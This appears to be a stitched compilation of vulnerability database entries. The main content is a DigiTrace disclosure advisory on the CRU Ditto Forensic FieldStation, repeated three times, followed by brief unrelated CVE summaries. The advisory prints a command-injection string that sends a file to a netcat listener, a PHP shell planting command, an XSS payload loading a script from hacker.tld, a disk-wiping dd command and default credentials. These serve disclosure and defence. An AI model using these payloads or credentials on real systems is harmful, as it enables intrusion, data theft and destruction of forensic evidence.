and implications), even small vulnerabilities in forensic tools and devices become critical. 11] ======== References ======== a) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013oct15a/ b) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013jun30a/ -- Diplom-Wirtschaftsinformatiker Martin G. Wundram DigiTrace GmbH - Kompetenz in IT-Forensik Gesch\xe4ftsf\xfchrer: Alexander Sigel, Martin Wundram Registergericht K\xf6ln, HR B 72919 USt-IdNr: DE278529699 Zollstockg\xfcrtel 59, 50969 K\xf6ln Telefon: 0221-6 77 86 95-0 Website: www.DigiTrace.de E-Mail: info@DigiTrace.de

Cross-site request forgery (CSRF) vulnerability in CRU Ditto Forensic FieldStation with firmware before 2013Oct15a allows remote attackers to hijack the authentication of administrators for requests that modify the disk erase technique settings via unspecified vectors. Ditto Forensic FieldStation is prone to multiple html-injection vulnerabilities, an unspecified cross-site request-forgery vulnerability, multiple remote command-injection vulnerabilities and an authentication-bypass vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions. CRU Ditto Forensic FieldStation is a data capture and data analysis device in the WiebeTech family of American CRU company. The device clones disks and creates disk images over the network or VPN, and is capable of recording user activities for forensic analysis. A remote attacker could exploit this vulnerability to perform unauthorized operations, such as modifying disk wiping technology settings. ************************************************************** Title: Ditto Forensic FieldStation, multiple vulnerabilities Versions affected: <= 2013Oct15a (all) Vendor: CRU Wiebetech Discovered by: Martin Wundram Email: wundram@digitrace.de Date found: 2013-04-22 Date published: 2013-12-12 Status: partially patched ************************************************************** 0] ======== Introduction / Background / Impact ======== In computer forensics (http://en.wikipedia.org/wiki/Computer_forensics) one essential requirement is that evidence data does not get modified at all (or not unnoticed, at least). Therefore IT forensic experts use write-blockers to ensure a read-only access to evidence data like hard disks or USB mass storage. The Ditto Forensic FieldStation is such a special equipment (hardware with embedded software) used by forensic experts to analyse and copy evidence data in a safe and secure way. The ditto is explicitly marketed as a device to acquire data from network file shares, too. This means it is meant to be connected to possibly hostile networks of suspects. However it was found to be vulnerable up to the point of not being reliable as a computer forensic device. 1] ======== OS Command Injection ======== Class: Command Injection [CWE-77] Impact: Code execution Remotely Exploitable: Yes CVE Name: CVE-2013-6881 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Several input fields of the web application are vulnerable to OS command injection. E.g. the application allows the setting of parameters like 'sector size' or 'skip count' for a forensic imaging task. Because of improper neutralization in combination with the web server running with root privileges, an attacker is able to access and manipulate the complete system. Example 1 (setting of 'sector size' = 1 with malicious content): 1;cat /opt/web/htdocs/index.php | nc 192.168.1.1 6666; Example 2 (setting of 'set-size' = 1 with copying a PHP shell from the external SD card): 1;cp /ditto/shell.php /opt/web/htdocs; 2] ======== Persistent XSS ======== Class: Cross-site Scripting [CWE-79] Impact: Code execution Remotely Exploitable: Yes Status: unpatched CVE Name: CVE-2013-6882 CVSS v2 Base Score: 9 Overall CVSS v2 Score (if patched): 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Overall CVSS v2 Score (unpatched): 10 The web application suffers from multiple vulnerabilities regarding XSS. The first one (a) is critical because an unauthorized attacker is able to push malicious code into the system and consequently attacking every user. The other ones (b) need authentication first. a) The web application logs every login (including the username) in a not sanitized way to a system log. Additionally, the web application embeds that system log rendered as HTML into the start page of every user who successfully logs in. Thus an unprivileged attacker can persistently inject malicious code which attacks all users of the vulnerable system immediately after their login. Example: POSTDATA= user=demo%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E &pass=demo&login=Log+In b) It is easily possible to submit malicious data as input into multiple HTML form fields (e.g. one can force the system to load externally hosted JavaScript code with <script src=http://www.hacker.tld/code.js></script>). This can result in dangerous situations where the (external) JavaScript code mangles the information displayed about important computer forensic key values whose integrity is crucial. Example: 784 PetaByte (PB) source disk instead of 32 GB, investigator "Al Capone", "verify actions: yes" instead of "no", ... 3] ======== Cross-Site Request Forgery ======== Class: Cross-Site Request Forgery [CWE-352] Impact: Application misuse Remotely Exploitable: Yes CVE Name: CVE-2013-6883 CVSS v2 Base Score: 6.6 Overall CVSS v2 Score: 8 CVSS v2 Vector: (AV:N/AC:H/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The web application is vulnerable to attacks using Cross-Site Request Forgery. E.g. the disk erase technique (correct settings are important for the reliable deletion of sensitive forensic data) can be changed with a simple POST request. 4] ======== Misconfigured Daemon Rights ======== Class: Configuration [CWE-16] Impact: Full system access The web server lighthttpd and the PHP engine are run as user 'root'. Thus injection weaknesses in the 'ditto' web application result in immediate full system access. 5] ======== Unneeded Daemons/Software ======== Class: Configuration [CWE-16] Impact: Attackable services Best matching CCE-ID: CCE-4268-9 Forensic usage needs only write-blocking and imaging of evidence data. However, the base system contains further active software and services. This helps attacking the system and escalating privileges. The tools/daemons are especially netcat and an active SSHd. Furthermore, the SSHd binds to the network port which is labeled as 'source' and thus intended for usage in supposedly hostile network environments - the network containing evidence data from suspects. 6] ======== Use of standard credentials ======== Class: Use of Hard-coded Credentials [CWE-798] Impact: unwanted full system access Remotely Exploitable: Yes CVE Name: CVE-2013-6884 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The ditto write-blocker contains a default system user named 'ditto' with the default password 'ditto' which is allowed to elevate its user rights to root (sudo) without further authentication. In combination with the active SSHd, this vulnerability allows attackers full access to the ditto if it gets connected to the same/reachable network. 7] ======== Misconfigured Core System ======== Class: Configuration [CWE-16] Impact: Alteration of evidence data Remotely Exploitable: Yes Although explicitly marketed as a hardware write-blocker, the ditto does not implement any specific write-blocking mechanism at all. The underlying system is able to manipulate or even erase evidence on devices which are connected to the 'source side' of the ditto. The problem is: no hardware-level, no driver- level and no kernel-level (blockdev) write-blocking are implemented. Only the web application prevents the user from writing to the source media. That is just security by obscurity. Finally, every critical weakness or simple malfunction in the web application can potentiallly lead to overwriting of source/evidence data. Furthermore, the embedded Linux system itself mounts the system partition as writable. Thus malware could be persistently deployed! Example: One can simply overwrite supposedly write-protected source data (USB stick and SATA disk) with dd if=/dev/zero of=/dev/sda. 8] ======== Solution ======== Upgrade your ditto to the newest available firmware (2013Oct15a). Don't connect the device to potentially hostile networks. Examine your device if it has been manipulated at an earlier time (has someone placed a backdoor in the embedded Linux, or a malware which silently manipulates evidence data or copies of evidence data?). 9] ======== Report Timeline ======== 2013-04-22 Discovery of vulnerabilities 2013-04-23 First contact with vendor including agreement about later public disclosure 2013-04-26 Detailed information about vulnerabilities provided to vendor 2013-06-30 Vendor fixes some vulnerabilities with firmware 2013Jun30a 2013-10-15 Vendor fixes some vulnerabilities with firmware 2013Oct15a 2013-11-26 Information with details provided to vendor about upcoming public disclosure. Vendor gave feedback regarding technical accuracy of this report 2013-12-12 Public disclosure 10] ======== Discussion ======== Because integrity is of utmost importance during the forensic process (correct handling of evidence data and correct deduction of conclusions and implications), even small vulnerabilities in forensic tools and devices become critical. 11] ======== References ======== a) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013oct15a/ b) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013jun30a/ -- Diplom-Wirtschaftsinformatiker Martin G. Wundram DigiTrace GmbH - Kompetenz in IT-Forensik Gesch\xe4ftsf\xfchrer: Alexander Sigel, Martin Wundram Registergericht K\xf6ln, HR B 72919 USt-IdNr: DE278529699 Zollstockg\xfcrtel 59, 50969 K\xf6ln Telefon: 0221-6 77 86 95-0 Website: www.DigiTrace.de E-Mail: info@DigiTrace.de

The write-blocker in CRU Ditto Forensic FieldStation with firmware before 2013Oct15a has a default "ditto" username and password, which allows remote attackers to gain privileges. Ditto Forensic FieldStation is prone to multiple html-injection vulnerabilities, an unspecified cross-site request-forgery vulnerability, multiple remote command-injection vulnerabilities and an authentication-bypass vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions. CRU Ditto Forensic FieldStation is a data capture and data analysis device in the WiebeTech family of American CRU company. The device clones disks and creates disk images over the network or VPN, and is capable of recording user activities for forensic analysis. The vulnerability comes from the fact that the program uses the default username and password. A remote attacker could exploit this vulnerability to gain privileges. ************************************************************** Title: Ditto Forensic FieldStation, multiple vulnerabilities Versions affected: <= 2013Oct15a (all) Vendor: CRU Wiebetech Discovered by: Martin Wundram Email: wundram@digitrace.de Date found: 2013-04-22 Date published: 2013-12-12 Status: partially patched ************************************************************** 0] ======== Introduction / Background / Impact ======== In computer forensics (http://en.wikipedia.org/wiki/Computer_forensics) one essential requirement is that evidence data does not get modified at all (or not unnoticed, at least). Therefore IT forensic experts use write-blockers to ensure a read-only access to evidence data like hard disks or USB mass storage. The Ditto Forensic FieldStation is such a special equipment (hardware with embedded software) used by forensic experts to analyse and copy evidence data in a safe and secure way. The ditto is explicitly marketed as a device to acquire data from network file shares, too. This means it is meant to be connected to possibly hostile networks of suspects. However it was found to be vulnerable up to the point of not being reliable as a computer forensic device. 1] ======== OS Command Injection ======== Class: Command Injection [CWE-77] Impact: Code execution Remotely Exploitable: Yes CVE Name: CVE-2013-6881 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Several input fields of the web application are vulnerable to OS command injection. E.g. the application allows the setting of parameters like 'sector size' or 'skip count' for a forensic imaging task. Because of improper neutralization in combination with the web server running with root privileges, an attacker is able to access and manipulate the complete system. Example 1 (setting of 'sector size' = 1 with malicious content): 1;cat /opt/web/htdocs/index.php | nc 192.168.1.1 6666; Example 2 (setting of 'set-size' = 1 with copying a PHP shell from the external SD card): 1;cp /ditto/shell.php /opt/web/htdocs; 2] ======== Persistent XSS ======== Class: Cross-site Scripting [CWE-79] Impact: Code execution Remotely Exploitable: Yes Status: unpatched CVE Name: CVE-2013-6882 CVSS v2 Base Score: 9 Overall CVSS v2 Score (if patched): 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Overall CVSS v2 Score (unpatched): 10 The web application suffers from multiple vulnerabilities regarding XSS. The first one (a) is critical because an unauthorized attacker is able to push malicious code into the system and consequently attacking every user. The other ones (b) need authentication first. a) The web application logs every login (including the username) in a not sanitized way to a system log. Additionally, the web application embeds that system log rendered as HTML into the start page of every user who successfully logs in. Thus an unprivileged attacker can persistently inject malicious code which attacks all users of the vulnerable system immediately after their login. Example: POSTDATA= user=demo%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E &pass=demo&login=Log+In b) It is easily possible to submit malicious data as input into multiple HTML form fields (e.g. one can force the system to load externally hosted JavaScript code with <script src=http://www.hacker.tld/code.js></script>). This can result in dangerous situations where the (external) JavaScript code mangles the information displayed about important computer forensic key values whose integrity is crucial. Example: 784 PetaByte (PB) source disk instead of 32 GB, investigator "Al Capone", "verify actions: yes" instead of "no", ... 3] ======== Cross-Site Request Forgery ======== Class: Cross-Site Request Forgery [CWE-352] Impact: Application misuse Remotely Exploitable: Yes CVE Name: CVE-2013-6883 CVSS v2 Base Score: 6.6 Overall CVSS v2 Score: 8 CVSS v2 Vector: (AV:N/AC:H/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The web application is vulnerable to attacks using Cross-Site Request Forgery. E.g. the disk erase technique (correct settings are important for the reliable deletion of sensitive forensic data) can be changed with a simple POST request. 4] ======== Misconfigured Daemon Rights ======== Class: Configuration [CWE-16] Impact: Full system access The web server lighthttpd and the PHP engine are run as user 'root'. Thus injection weaknesses in the 'ditto' web application result in immediate full system access. 5] ======== Unneeded Daemons/Software ======== Class: Configuration [CWE-16] Impact: Attackable services Best matching CCE-ID: CCE-4268-9 Forensic usage needs only write-blocking and imaging of evidence data. However, the base system contains further active software and services. This helps attacking the system and escalating privileges. The tools/daemons are especially netcat and an active SSHd. Furthermore, the SSHd binds to the network port which is labeled as 'source' and thus intended for usage in supposedly hostile network environments - the network containing evidence data from suspects. 6] ======== Use of standard credentials ======== Class: Use of Hard-coded Credentials [CWE-798] Impact: unwanted full system access Remotely Exploitable: Yes CVE Name: CVE-2013-6884 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The ditto write-blocker contains a default system user named 'ditto' with the default password 'ditto' which is allowed to elevate its user rights to root (sudo) without further authentication. In combination with the active SSHd, this vulnerability allows attackers full access to the ditto if it gets connected to the same/reachable network. 7] ======== Misconfigured Core System ======== Class: Configuration [CWE-16] Impact: Alteration of evidence data Remotely Exploitable: Yes Although explicitly marketed as a hardware write-blocker, the ditto does not implement any specific write-blocking mechanism at all. The underlying system is able to manipulate or even erase evidence on devices which are connected to the 'source side' of the ditto. The problem is: no hardware-level, no driver- level and no kernel-level (blockdev) write-blocking are implemented. Only the web application prevents the user from writing to the source media. That is just security by obscurity. Finally, every critical weakness or simple malfunction in the web application can potentiallly lead to overwriting of source/evidence data. Furthermore, the embedded Linux system itself mounts the system partition as writable. Thus malware could be persistently deployed! Example: One can simply overwrite supposedly write-protected source data (USB stick and SATA disk) with dd if=/dev/zero of=/dev/sda. 8] ======== Solution ======== Upgrade your ditto to the newest available firmware (2013Oct15a). Don't connect the device to potentially hostile networks. Examine your device if it has been manipulated at an earlier time (has someone placed a backdoor in the embedded Linux, or a malware which silently manipulates evidence data or copies of evidence data?). 9] ======== Report Timeline ======== 2013-04-22 Discovery of vulnerabilities 2013-04-23 First contact with vendor including agreement about later public disclosure 2013-04-26 Detailed information about vulnerabilities provided to vendor 2013-06-30 Vendor fixes some vulnerabilities with firmware 2013Jun30a 2013-10-15 Vendor fixes some vulnerabilities with firmware 2013Oct15a 2013-11-26 Information with details provided to vendor about upcoming public disclosure. Vendor gave feedback regarding technical accuracy of this report 2013-12-12 Public disclosure 10] ======== Discussion ======== Because integrity is of utmost importance during the forensic process (correct handling of evidence data and correct deduction of conclusions and implications), even small vulnerabilities in forensic tools and devices become critical. 11] ======== References ======== a) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013oct15a/ b) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013jun30a/ -- Diplom-Wirtschaftsinformatiker Martin G. Wundram DigiTrace GmbH - Kompetenz in IT-Forensik Gesch\xe4ftsf\xfchrer: Alexander Sigel, Martin Wundram Registergericht K\xf6ln, HR B 72919 USt-IdNr: DE278529699 Zollstockg\xfcrtel 59, 50969 K\xf6ln Telefon: 0221-6 77 86 95-0 Website: www.DigiTrace.de E-Mail: info@DigiTrace.de

Multiple cross-site scripting (XSS) vulnerabilities in CRU Ditto Forensic FieldStation with firmware 2013Oct15a and earlier allow (1) remote attackers to inject arbitrary web script or HTML via the username parameter in a login or (2) remote authenticated users to inject arbitrary web script or HTML via unspecified form fields. Ditto Forensic FieldStation is prone to multiple html-injection vulnerabilities, an unspecified cross-site request-forgery vulnerability, multiple remote command-injection vulnerabilities and an authentication-bypass vulnerability. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions. CRU Ditto Forensic FieldStation is a data capture and data analysis device in the WiebeTech family of American CRU company. The device clones disks and creates disk images over the network or VPN, and is capable of recording user activities for forensic analysis. ************************************************************** Title: Ditto Forensic FieldStation, multiple vulnerabilities Versions affected: <= 2013Oct15a (all) Vendor: CRU Wiebetech Discovered by: Martin Wundram Email: wundram@digitrace.de Date found: 2013-04-22 Date published: 2013-12-12 Status: partially patched ************************************************************** 0] ======== Introduction / Background / Impact ======== In computer forensics (http://en.wikipedia.org/wiki/Computer_forensics) one essential requirement is that evidence data does not get modified at all (or not unnoticed, at least). Therefore IT forensic experts use write-blockers to ensure a read-only access to evidence data like hard disks or USB mass storage. The Ditto Forensic FieldStation is such a special equipment (hardware with embedded software) used by forensic experts to analyse and copy evidence data in a safe and secure way. The ditto is explicitly marketed as a device to acquire data from network file shares, too. This means it is meant to be connected to possibly hostile networks of suspects. However it was found to be vulnerable up to the point of not being reliable as a computer forensic device. 1] ======== OS Command Injection ======== Class: Command Injection [CWE-77] Impact: Code execution Remotely Exploitable: Yes CVE Name: CVE-2013-6881 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Several input fields of the web application are vulnerable to OS command injection. E.g. the application allows the setting of parameters like 'sector size' or 'skip count' for a forensic imaging task. Because of improper neutralization in combination with the web server running with root privileges, an attacker is able to access and manipulate the complete system. Example 1 (setting of 'sector size' = 1 with malicious content): 1;cat /opt/web/htdocs/index.php | nc 192.168.1.1 6666; Example 2 (setting of 'set-size' = 1 with copying a PHP shell from the external SD card): 1;cp /ditto/shell.php /opt/web/htdocs; 2] ======== Persistent XSS ======== Class: Cross-site Scripting [CWE-79] Impact: Code execution Remotely Exploitable: Yes Status: unpatched CVE Name: CVE-2013-6882 CVSS v2 Base Score: 9 Overall CVSS v2 Score (if patched): 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) Overall CVSS v2 Score (unpatched): 10 The web application suffers from multiple vulnerabilities regarding XSS. The first one (a) is critical because an unauthorized attacker is able to push malicious code into the system and consequently attacking every user. The other ones (b) need authentication first. a) The web application logs every login (including the username) in a not sanitized way to a system log. Additionally, the web application embeds that system log rendered as HTML into the start page of every user who successfully logs in. Thus an unprivileged attacker can persistently inject malicious code which attacks all users of the vulnerable system immediately after their login. Example: POSTDATA= user=demo%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E &pass=demo&login=Log+In b) It is easily possible to submit malicious data as input into multiple HTML form fields (e.g. one can force the system to load externally hosted JavaScript code with <script src=http://www.hacker.tld/code.js></script>). This can result in dangerous situations where the (external) JavaScript code mangles the information displayed about important computer forensic key values whose integrity is crucial. Example: 784 PetaByte (PB) source disk instead of 32 GB, investigator "Al Capone", "verify actions: yes" instead of "no", ... 3] ======== Cross-Site Request Forgery ======== Class: Cross-Site Request Forgery [CWE-352] Impact: Application misuse Remotely Exploitable: Yes CVE Name: CVE-2013-6883 CVSS v2 Base Score: 6.6 Overall CVSS v2 Score: 8 CVSS v2 Vector: (AV:N/AC:H/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The web application is vulnerable to attacks using Cross-Site Request Forgery. E.g. the disk erase technique (correct settings are important for the reliable deletion of sensitive forensic data) can be changed with a simple POST request. 4] ======== Misconfigured Daemon Rights ======== Class: Configuration [CWE-16] Impact: Full system access The web server lighthttpd and the PHP engine are run as user 'root'. Thus injection weaknesses in the 'ditto' web application result in immediate full system access. 5] ======== Unneeded Daemons/Software ======== Class: Configuration [CWE-16] Impact: Attackable services Best matching CCE-ID: CCE-4268-9 Forensic usage needs only write-blocking and imaging of evidence data. However, the base system contains further active software and services. This helps attacking the system and escalating privileges. The tools/daemons are especially netcat and an active SSHd. Furthermore, the SSHd binds to the network port which is labeled as 'source' and thus intended for usage in supposedly hostile network environments - the network containing evidence data from suspects. 6] ======== Use of standard credentials ======== Class: Use of Hard-coded Credentials [CWE-798] Impact: unwanted full system access Remotely Exploitable: Yes CVE Name: CVE-2013-6884 CVSS v2 Base Score: 10 Overall CVSS v2 Score: 9.2 CVSS v2 Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L) The ditto write-blocker contains a default system user named 'ditto' with the default password 'ditto' which is allowed to elevate its user rights to root (sudo) without further authentication. In combination with the active SSHd, this vulnerability allows attackers full access to the ditto if it gets connected to the same/reachable network. 7] ======== Misconfigured Core System ======== Class: Configuration [CWE-16] Impact: Alteration of evidence data Remotely Exploitable: Yes Although explicitly marketed as a hardware write-blocker, the ditto does not implement any specific write-blocking mechanism at all. The underlying system is able to manipulate or even erase evidence on devices which are connected to the 'source side' of the ditto. The problem is: no hardware-level, no driver- level and no kernel-level (blockdev) write-blocking are implemented. Only the web application prevents the user from writing to the source media. That is just security by obscurity. Finally, every critical weakness or simple malfunction in the web application can potentiallly lead to overwriting of source/evidence data. Furthermore, the embedded Linux system itself mounts the system partition as writable. Thus malware could be persistently deployed! Example: One can simply overwrite supposedly write-protected source data (USB stick and SATA disk) with dd if=/dev/zero of=/dev/sda. 8] ======== Solution ======== Upgrade your ditto to the newest available firmware (2013Oct15a). Don't connect the device to potentially hostile networks. Examine your device if it has been manipulated at an earlier time (has someone placed a backdoor in the embedded Linux, or a malware which silently manipulates evidence data or copies of evidence data?). 9] ======== Report Timeline ======== 2013-04-22 Discovery of vulnerabilities 2013-04-23 First contact with vendor including agreement about later public disclosure 2013-04-26 Detailed information about vulnerabilities provided to vendor 2013-06-30 Vendor fixes some vulnerabilities with firmware 2013Jun30a 2013-10-15 Vendor fixes some vulnerabilities with firmware 2013Oct15a 2013-11-26 Information with details provided to vendor about upcoming public disclosure. Vendor gave feedback regarding technical accuracy of this report 2013-12-12 Public disclosure 10] ======== Discussion ======== Because integrity is of utmost importance during the forensic process (correct handling of evidence data and correct deduction of conclusions and implications), even small vulnerabilities in forensic tools and devices become critical. 11] ======== References ======== a) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013oct15a/ b) http://www.cru-inc.com/support/software-downloads/ditto-firmware- updates/ditto-firmware-release-notes-2013jun30a/ -- Diplom-Wirtschaftsinformatiker Martin G. Wundram DigiTrace GmbH - Kompetenz in IT-Forensik Gesch\xe4ftsf\xfchrer: Alexander Sigel, Martin Wundram Registergericht K\xf6ln, HR B 72919 USt-IdNr: DE278529699 Zollstockg\xfcrtel 59, 50969 K\xf6ln Telefon: 0221-6 77 86 95-0 Website: www.DigiTrace.de E-Mail: info@DigiTrace.de

Apple Safari 6.0.5 on Mac OS X 10.7.5 and 10.8.5 stores cleartext credentials in LastSession.plist, which allows local users to obtain sensitive information by reading this file. Apple Safari is prone to an information-disclosure vulnerability. Successful exploits may allow attackers to gain access to sensitive information. Information obtained may lead to further attacks. Apple Apple Safari is a web browser developed by Apple (Apple), and is the default browser included with Mac OS X and iOS operating systems

The Nano-10 PLC is a programmable logic controller. A remote denial of service vulnerability exists in the implementation of the Nano-10 PLC r82. An attacker could exploit this vulnerability to cause the affected device to crash. Nano-10 PLC running firmware prior to r82 are vulnerable. ** ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided

Juniper NetScreen Firewall running ScreenOS 5.4, 6.2, or 6.3, when the Ping of Death screen is disabled, allows remote attackers to cause a denial of service via a crafted packet. ScreenOS provided by Juniper Networks contains a denial-of-service (DoS) vulnerability. Shuichiro Suzuki of FFRI, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.When processing a malicious packet, the device may hang. ScreenOS is prone to an unspecified denial-of-service vulnerability. Successful exploits may allow the attacker to cause denial-of-service conditions. ScreenOS 5.4, 6.2.0, and 6.3.0 are vulnerable. Juniper Networks NetScreen Firewall running Juniper ScreenOS is an operating system of Juniper Networks (Juniper Networks) that runs on NetScreen series firewalls. ############################################################## FFRI, Inc. === Reference === CVE No. : CVE-2013-6958 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6958 Mozilla Foundation Security Advisory : https://www.mozilla.org/security/announce/2013/mfsa2013-33.html FFRI Advisory URL: http://www.ffri.jp/cgi-bin/advisory/advisory.cgi?type=release&id=FFRRA-20131213 === About FFRI === FFRI is a leading security products and service vendor in Japan providing innovative security software and vulnerability research information. Our commitment is to secure our IT-driven society by protecting information system from unpredictable threats. http://www.ffri.jp research-feedback@ffri.jp === Copyright === 2007 - 2014 FFRI, Inc. All rights reserved

Huawei B593u-12 and T-Mobile HOME NET Router are both wireless router products. Huawei B593u-12 and T-Mobile HOME NET Router have information disclosure vulnerabilities, security restriction bypass vulnerabilities, command injection vulnerabilities, directory traversal vulnerabilities, and cross-site request forgery vulnerabilities. A remote attacker can obtain sensitive information, perform administrator actions, bypass security restrictions, access arbitrary files, execute arbitrary commands, and gain unauthorized access to affected devices. An information-disclosure vulnerability 2. A security-bypass vulnerability 3. A command-injection vulnerability 4. A directory-traversal vulnerability. 5. Other attacks are also possible

The DNP3 component in Cooper Power Systems SMP 4, 4/DP, and 16 gateways allows remote attackers to cause a denial of service (reboot or link outage) via a crafted DNP3 TCP packet. Cooper Power Systems The SMP Gateway is a data concentrator deployed in the energy sector. Attackers can exploit this issue to force the application to reboot, causing denial-of-service conditions. The device can collect and store field instrument data in real time, and transmit it to the remote monitoring center